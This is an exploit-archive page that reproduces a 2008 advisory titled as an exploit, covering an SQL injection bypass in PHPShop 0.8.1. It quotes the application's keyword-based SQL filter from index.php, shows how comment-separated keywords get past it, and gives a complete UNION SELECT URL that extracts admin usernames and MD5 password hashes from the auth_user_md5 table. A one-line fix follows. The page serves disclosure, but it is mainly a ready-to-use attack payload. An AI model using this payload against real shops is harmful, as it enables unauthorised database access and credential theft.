exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpshop-sql.txt

phpshop-sql.txt
Posted Feb 4, 2008
Authored by theredc0ders

PHPShop version 0.8.1 suffers from a bypass vulnerability that allows for SQL injection attacks.

tags | exploit, sql injection, bypass
SHA-256 | 7309c78610fd7fd6493e7bed3f885c7a2c18a9b5f66070b89fabdf279a7aa29c

phpshop-sql.txt

Change Mirror Download
Vendor  : PHPShop
Webiste : http://www.phpshop.org
Version : v0.8.1
Author: the redc0ders / theredc0ders[at]gmail[dot]com
Condition: magic_quote_gpc = off , in php.ini setting

Details :
==========

Vulnerable Code in index.php near lines 98 - 128
[code]
// basic SQL inject detection
$my_insecure_array = array('keyword' => $_REQUEST['keyword'],
'category_id' => $_REQUEST['category_id'],
'product_id' => $_REQUEST['product_id'],
'user_id' => $_REQUEST['user_id'],
'user_info_id' => $_REQUEST['user_info_id'],
'page' => $_REQUEST['page'],
'func' => $_REQUEST['func']);

while(list($key,$value)=each($my_insecure_array)) {
if (stristr($value,'FROM ') ||
stristr($value,'UPDATE ') ||
stristr($value,'WHERE ') ||
stristr($value,'ALTER ') ||
stristr($value,'SELECT ') ||
stristr($value,'SHUTDOWN ') ||
stristr($value,'CREATE ') ||
stristr($value,'DROP ') ||
stristr($value,'DELETE FROM') ||
stristr($value,'script') ||
stristr($value,'<>') ||
stristr($value,'=') ||
stristr($value,'SET '))
die('Please provide a permitted value for '.$key);
}
[/code]

The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc

so WORD+space, and this can be easily bypassed using comments like
POC : select/**/input1,input2...

Exemple to inject admin username and md5 hash password : http://website/phpshop/?page=shop/flypage&product_id=-3'+UNION+select/**/null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,username/**/from/**/auth_user_md5/*



Solution :
simply remove spaces in stristr() function or activate magic_quotes_gpc in php.ini

Greetz : Hacker1 - ToXiC350 - S4MI - Miyyet - Pynsso - Amigo_BM and All Moroccan Hackers =)

>From Morocco : JIB L3EZZ WELLA K7AZZ !
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close